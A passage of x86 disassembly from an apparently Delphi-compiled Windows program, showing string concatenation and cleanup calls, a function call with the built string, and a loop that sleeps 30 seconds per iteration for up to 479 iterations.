pop eax
call fcn.0049caf0
lea eax, [ebp - 0x134]
xor edx, edx
mov dword [ebp - 0x13c], edx
lea ecx, [ebp - 0x13c]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea eax, [ebp - 0x13c]
push eax
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x140]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x144], eax
lea edx, [ebp - 0x140]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x144]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x144]
xor edx, edx
mov dword [ebp - 0x14c], edx
lea ecx, [ebp - 0x14c]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea eax, [ebp - 0x14c]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x150]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x154], eax
lea edx, [ebp - 0x150]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x154]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x154]
xor edx, edx
mov dword [ebp - 0x15c], edx
lea ecx, [ebp - 0x15c]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea edx, [ebp - 0x15c]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x15c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x158]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x154]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x150]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x148]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x144]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x140]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x13c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x138]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x134]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x130]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x12c]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40dc5c
mov ecx, dword [ebp - 4]
jmp 0x40dc5e
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
push 0x7530
call sub.KERNEL32.DLL_Sleep
inc dword [ebp - 0x18c]
cmp dword [ebp - 0x18c], 0x1de
jbe 0x40c8d2
dec dword [ebx + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.0049ca98
mov ecx, dword [ebx]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret